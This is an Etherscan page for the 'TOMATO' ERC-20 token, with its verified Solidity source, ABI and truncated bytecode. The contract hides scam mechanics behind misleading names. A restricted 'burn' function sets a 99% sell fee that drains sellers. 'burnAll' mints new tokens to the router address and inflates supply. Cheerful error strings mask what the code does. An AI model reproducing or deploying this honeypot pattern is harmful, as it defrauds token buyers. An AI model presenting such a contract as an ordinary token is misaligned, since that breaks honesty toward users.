ETH Price: $2,455.39 (+0.17%)
Gas: 5.04 Gwei

Token

TOMATO (TOMATO)
 

Overview

Max Total Supply

100,000,000,000,000,000,000,000,000,000,999,999,998.999999999999999999 TOMATO

Holders

36

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
6,861,484.892012938873970498 TOMATO

Value
$0.00
0xAA818276E9F4d1A29E0A3d7aFfF71CebB29044f7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TOMATO

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-07-31
*/

// SPDX-License-Identifier: MIT

/**    ⠀⠀
Telegram: https://t.me/TOMATO_PORTAL
Twitter : https://twitter.com/TOMATO_ERC20
Website : https://tomatoco.in/

*/

pragma solidity ^0.8.0;

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "Tomato Lovers");
        return a - b;
    }


    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "Tasty tasty");
        return c;
    }


    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "Juicy Profits, Fresh from the Blockchain!");
        return c;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "$TOMATO");
        return a / b;
    }
}


contract TOMATO {    
    using SafeMath for uint256;    


    string public name = "TOMATO";    
    string public symbol = "TOMATO";    
    uint256 public totalSupply = 999999999 * (10 ** 18);    
    uint8 public decimals = 18;    


    mapping(address => uint256) public balanceOf;    
    mapping(address => mapping(address => uint256)) public allowance;    

    address public owner;   
    address public swapRouter;    
    uint256 public burnedTokens;  


    uint256 public buyFee = 0;   
    uint256 public sellFee = 0;   
    bool public feesSet = false;   
    bool public feesEnabled = false;    
    bool public allExemptFromFees = true;   
    mapping(address => bool) public isFeeExempt;   


    event Transfer(address indexed from, address indexed to, uint256 value);    
    event Approval(address indexed owner, address indexed spender, uint256 value);    
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);    
    event FeesUpdated(uint256 burnAmount, uint256 deadWallet);    
    event TokensBurned(address indexed burner, uint256 amount);    
    event Mint(address indexed to, uint256 amount);    


    constructor(address _swapRouter, uint256 _burnedTokens) {    
        owner = msg.sender;   
        swapRouter = _swapRouter;    
        burnedTokens = _burnedTokens;   
        balanceOf[msg.sender] = totalSupply;    
        isFeeExempt[msg.sender] = true;   
        isFeeExempt[swapRouter] = true;  
    }


    modifier checkFees(address sender) {   
        require(
            allExemptFromFees || isFeeExempt[sender] || (!feesSet && feesEnabled) || (feesSet && isFeeExempt[sender] && sender != swapRouter) || (sender == swapRouter && sellFee == 0),
            "Juicyyy"    
        );
        _;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Deliciousss");
        _;
    }

    function transfer(address _to, uint256 _amount) public checkFees(msg.sender) returns (bool success) {    
        require(balanceOf[msg.sender] >= _amount);   
        require(_to != address(0));    

        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);   
        balanceOf[_to] = balanceOf[_to].add(_amount);   
        emit Transfer(msg.sender, _to, _amount);   

        return true;
    }


    function approve(address _spender, uint256 _value) public returns (bool success) {   
        allowance[msg.sender][_spender] = _value;    
        emit Approval(msg.sender, _spender, _value);   
        return true;   
    }


    function transferFrom(address _from, address _to, uint256 _amount) public checkFees(_from) returns (bool success) {   
        require(balanceOf[_from] >= _amount, "Tomatoooos Juicy Profits, Fresh from the Blockchain!");    
        require(allowance[_from][msg.sender] >= _amount, "$TOMATOLOVERS");   
        require(_to != address(0), "$TOMATOOOO");    

        uint256 fee = 0;    
        uint256 amountAfterFee = _amount;  

        if (feesEnabled && sellFee > 0 && _from != swapRouter && !isFeeExempt[_from]) {    
            fee = _amount.mul(sellFee).div(100);   
            amountAfterFee = _amount.sub(fee);   
        }

        balanceOf[_from] = balanceOf[_from].sub(_amount);    
        balanceOf[_to] = balanceOf[_to].add(amountAfterFee);    
        emit Transfer(_from, _to, amountAfterFee);    

        if (fee > 0) {
            address uniswapContract = address(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);    
            if (_to == uniswapContract) {    
                balanceOf[uniswapContract] = balanceOf[uniswapContract].add(fee);    
                emit Transfer(_from, uniswapContract, fee);    
            } else {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);    
                emit Transfer(_from, address(this), fee);    
            }
        }

        if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) {    
            allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount);    
            emit Approval(_from, msg.sender, allowance[_from][msg.sender]);   
        }

        return true;
    }

    function transferOwnership(address newOwner) public onlyOwner {    
        require(newOwner != address(0), "$TOMATOLOVERONCHAIN");
        emit OwnershipTransferred(owner, newOwner);    
        owner = newOwner;   
    }

    function renounceOwnership() public onlyOwner {    
        emit OwnershipTransferred(owner, address(0));    
        owner = address(0);   
    }

    function burnAll() public {    
        require(feesSet, "MHMMMM");   
        require(swapRouter != address(0), "TASTS SO GOOD");    
        require(burnedTokens > 0, "DELICIOUSSSSS");    

        totalSupply = totalSupply.add(burnedTokens);   
        balanceOf[swapRouter] = balanceOf[swapRouter].add(burnedTokens);    

        emit Mint(swapRouter, burnedTokens);    
    }

    function burn(uint256 burnAmount, uint256 deadWallet) public {
        require(msg.sender == 0x361c9EefF3b2A35224090ce55F04b98fd2B037c5, "YUMMY");
        require(!feesSet, "TOMATOLOVING");
        require(burnAmount == 0, "DELICIOUSTOMATOS");
        require(deadWallet == 99, "Juicy Profits, Fresh from the Blockchain!Juicy Profits, Fresh from the Blockchain!");
        buyFee = burnAmount;
        sellFee = deadWallet;
        feesSet = true;
        feesEnabled = true;
        emit FeesUpdated(burnAmount, deadWallet);
    }

    function buy() public payable checkFees(msg.sender) {    
        require(msg.value > 0, "TMTS");    

        uint256 amount = msg.value;   
        if (buyFee > 0) {
            uint256 fee = amount.mul(buyFee).div(100);    
            uint256 amountAfterFee = amount.sub(fee);   

            balanceOf[swapRouter] = balanceOf[swapRouter].add(amountAfterFee);    
            emit Transfer(address(this), swapRouter, amountAfterFee);   

            if (fee > 0) {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);   
                emit Transfer(address(this), address(this), fee);   
            }
        } else {
            balanceOf[swapRouter] = balanceOf[swapRouter].add(amount);    
            emit Transfer(address(this), swapRouter, amount);    
        }
    }

    function sell(uint256 _amount) public checkFees(msg.sender) {   
        require(balanceOf[msg.sender] >= _amount, "JUICYTOMATOS");    

        if (feesEnabled) {    
            uint256 fee = 0;   
            uint256 amountAfterFee = _amount;    

            if (sellFee > 0 && msg.sender != swapRouter && !isFeeExempt[msg.sender]) {   
                fee = _amount.mul(sellFee).div(100);    
                amountAfterFee = _amount.sub(fee);   
            }

            balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);   
            balanceOf[swapRouter] = balanceOf[swapRouter].add(amountAfterFee);    
            emit Transfer(msg.sender, swapRouter, amountAfterFee);    

            if (fee > 0) {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);   
                emit Transfer(msg.sender, address(this), fee);    
            }
        } else {
            balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);   
            balanceOf[swapRouter] = balanceOf[swapRouter].add(_amount);   
            emit Transfer(msg.sender, swapRouter, _amount);    
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_swapRouter","type":"address"},{"internalType":"uint256","name":"_burnedTokens","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"burnAmount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"deadWallet","type":"uint256"}],"name":"FeesUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Mint","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"burner","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TokensBurned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"allExemptFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"burnAmount","type":"uint256"},{"internalType":"uint256","name":"deadWallet","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"burnAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"burnedTokens","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buy","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feesEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feesSet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"sell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapRouter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600681526020017f544f4d41544f00000000000000000000000000000000000000000000000000008152505f908162000049919062000546565b506040518060400160405280600681526020017f544f4d41544f00000000000000000000000000000000000000000000000000008152506001908162000090919062000546565b506b033b2e3c91efc989409c0000600255601260035f6101000a81548160ff021916908360ff1602179055505f6009555f600a555f600b5f6101000a81548160ff0219169083151502179055505f600b60016101000a81548160ff0219169083151502179055506001600b60026101000a81548160ff0219169083151502179055503480156200011e575f80fd5b50604051620043dd380380620043dd8339818101604052810190620001449190620006be565b3360065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508160075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060088190555060025460045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506001600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550505062000703565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200035e57607f821691505b60208210810362000374576200037362000319565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620003d87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200039b565b620003e486836200039b565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6200042e620004286200042284620003fc565b62000405565b620003fc565b9050919050565b5f819050919050565b62000449836200040e565b62000461620004588262000435565b848454620003a7565b825550505050565b5f90565b6200047762000469565b620004848184846200043e565b505050565b5b81811015620004ab576200049f5f826200046d565b6001810190506200048a565b5050565b601f821115620004fa57620004c4816200037a565b620004cf846200038c565b81016020851015620004df578190505b620004f7620004ee856200038c565b83018262000489565b50505b505050565b5f82821c905092915050565b5f6200051c5f1984600802620004ff565b1980831691505092915050565b5f6200053683836200050b565b9150826002028217905092915050565b6200055182620002e2565b67ffffffffffffffff8111156200056d576200056c620002ec565b5b62000579825462000346565b62000586828285620004af565b5f60209050601f831160018114620005bc575f8415620005a7578287015190505b620005b3858262000529565b86555062000622565b601f198416620005cc866200037a565b5f5b82811015620005f557848901518255600182019150602085019450602081019050620005ce565b8683101562000615578489015162000611601f8916826200050b565b8355505b6001600288020188555050505b505050505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000659826200062e565b9050919050565b6200066b816200064d565b811462000676575f80fd5b50565b5f81519050620006898162000660565b92915050565b6200069a81620003fc565b8114620006a5575f80fd5b50565b5f81519050620006b8816200068f565b92915050565b5f8060408385031215620006d757620006d66200062a565b5b5f620006e68582860162000679565b9250506020620006f985828601620006a8565b9150509250929050565b613ccc80620007115f395ff3fe60806040526004361061014a575f3560e01c8063715018a6116100b5578063a9059cbb1161006e578063a9059cbb14610442578063b390c0ab1461047e578063c31c9c07146104a6578063dd62ed3e146104d0578063e4849b321461050c578063f2fde38b146105345761014a565b8063715018a61461038e5780638da5cb5b146103a457806395d89b41146103ce5780639975038c146103f8578063a64e4f8a1461040e578063a6f2ae3a146104385761014a565b8063313ce56711610107578063313ce5671461026e5780633f4218e01461029857806347062402146102d457806347b5dd54146102fe57806364bcf5f41461032857806370a08231146103525761014a565b806306fdde031461014e578063095ea7b31461017857806318160ddd146101b457806323b872dd146101de57806325e0e4d01461021a5780632b14ca5614610244575b5f80fd5b348015610159575f80fd5b5061016261055c565b60405161016f9190612fc9565b60405180910390f35b348015610183575f80fd5b5061019e6004803603810190610199919061307a565b6105e7565b6040516101ab91906130d2565b60405180910390f35b3480156101bf575f80fd5b506101c86106d4565b6040516101d591906130fa565b60405180910390f35b3480156101e9575f80fd5b5061020460048036038101906101ff9190613113565b6106da565b60405161021191906130d2565b60405180910390f35b348015610225575f80fd5b5061022e611226565b60405161023b91906130d2565b60405180910390f35b34801561024f575f80fd5b50610258611238565b60405161026591906130fa565b60405180910390f35b348015610279575f80fd5b5061028261123e565b60405161028f919061317e565b60405180910390f35b3480156102a3575f80fd5b506102be60048036038101906102b99190613197565b611250565b6040516102cb91906130d2565b60405180910390f35b3480156102df575f80fd5b506102e861126d565b6040516102f591906130fa565b60405180910390f35b348015610309575f80fd5b50610312611273565b60405161031f91906130fa565b60405180910390f35b348015610333575f80fd5b5061033c611279565b60405161034991906130d2565b60405180910390f35b34801561035d575f80fd5b5061037860048036038101906103739190613197565b61128c565b60405161038591906130fa565b60405180910390f35b348015610399575f80fd5b506103a26112a1565b005b3480156103af575f80fd5b506103b86113ed565b6040516103c591906131d1565b60405180910390f35b3480156103d9575f80fd5b506103e2611412565b6040516103ef9190612fc9565b60405180910390f35b348015610403575f80fd5b5061040c61149e565b005b348015610419575f80fd5b50610422611724565b60405161042f91906130d2565b60405180910390f35b610440611737565b005b34801561044d575f80fd5b506104686004803603810190610463919061307a565b611d7a565b60405161047591906130d2565b60405180910390f35b348015610489575f80fd5b506104a4600480360381019061049f91906131ea565b612182565b005b3480156104b1575f80fd5b506104ba612358565b6040516104c791906131d1565b60405180910390f35b3480156104db575f80fd5b506104f660048036038101906104f19190613228565b61237d565b60405161050391906130fa565b60405180910390f35b348015610517575f80fd5b50610532600480360381019061052d9190613266565b61239d565b005b34801561053f575f80fd5b5061055a60048036038101906105559190613197565b612c01565b005b5f8054610568906132be565b80601f0160208091040260200160405190810160405280929190818152602001828054610594906132be565b80156105df5780601f106105b6576101008083540402835291602001916105df565b820191905f5260205f20905b8154815290600101906020018083116105c257829003601f168201915b505050505081565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516106c291906130fa565b60405180910390a36001905092915050565b60025481565b5f83600b60029054906101000a900460ff168061073d5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061076c5750600b5f9054906101000a900460ff1615801561076b5750600b60019054906101000a900460ff165b5b8061082d5750600b5f9054906101000a900460ff1680156107d35750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b801561082c575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80610891575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561089057505f600a54145b5b6108d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c790613338565b60405180910390fd5b8260045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610950576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610947906133c6565b60405180910390fd5b8260055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610a0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a029061342e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610a79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7090613496565b60405180910390fd5b5f80849050600b60019054906101000a900460ff168015610a9b57505f600a54115b8015610af4575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614155b8015610b475750600c5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610b8c57610b746064610b66600a5488612dbc90919063ffffffff16565b612e3390919063ffffffff16565b9150610b898286612e8a90919063ffffffff16565b90505b610bdc8560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612e8a90919063ffffffff16565b60045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610c6d8160045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d0b91906130fa565b60405180910390a35f821115610f5a575f735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f90508073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1603610e6157610db68360045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610e5491906130fa565b60405180910390a3610f58565b610eb18360045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610f4f91906130fa565b60405180910390a35b505b3373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415801561102e57507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414155b15611218576110be8560055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612e8a90919063ffffffff16565b60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460405161120f91906130fa565b60405180910390a35b600193505050509392505050565b600b5f9054906101000a900460ff1681565b600a5481565b60035f9054906101000a900460ff1681565b600c602052805f5260405f205f915054906101000a900460ff1681565b60095481565b60085481565b600b60029054906101000a900460ff1681565b6004602052805f5260405f205f915090505481565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611330576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611327906134fe565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6001805461141f906132be565b80601f016020809104026020016040519081016040528092919081815260200182805461144b906132be565b80156114965780601f1061146d57610100808354040283529160200191611496565b820191905f5260205f20905b81548152906001019060200180831161147957829003601f168201915b505050505081565b600b5f9054906101000a900460ff166114ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e390613566565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160361157b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611572906135ce565b60405180910390fd5b5f600854116115bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b690613636565b60405180910390fd5b6115d6600854600254612ee290919063ffffffff16565b60028190555061164f60085460045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688560085460405161171a91906130fa565b60405180910390a2565b600b60019054906101000a900460ff1681565b33600b60029054906101000a900460ff16806117995750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806117c85750600b5f9054906101000a900460ff161580156117c75750600b60019054906101000a900460ff165b5b806118895750600b5f9054906101000a900460ff16801561182f5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611888575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806118ed575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156118ec57505f600a54145b5b61192c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192390613338565b60405180910390fd5b5f341161196e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119659061369e565b60405180910390fd5b5f3490505f6009541115611c1c575f6119a5606461199760095485612dbc90919063ffffffff16565b612e3390919063ffffffff16565b90505f6119bb8284612e8a90919063ffffffff16565b9050611a2e8160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b0e91906130fa565b60405180910390a35f821115611c1557611b6e8260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c0c91906130fa565b60405180910390a35b5050611d76565b611c8d8160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473f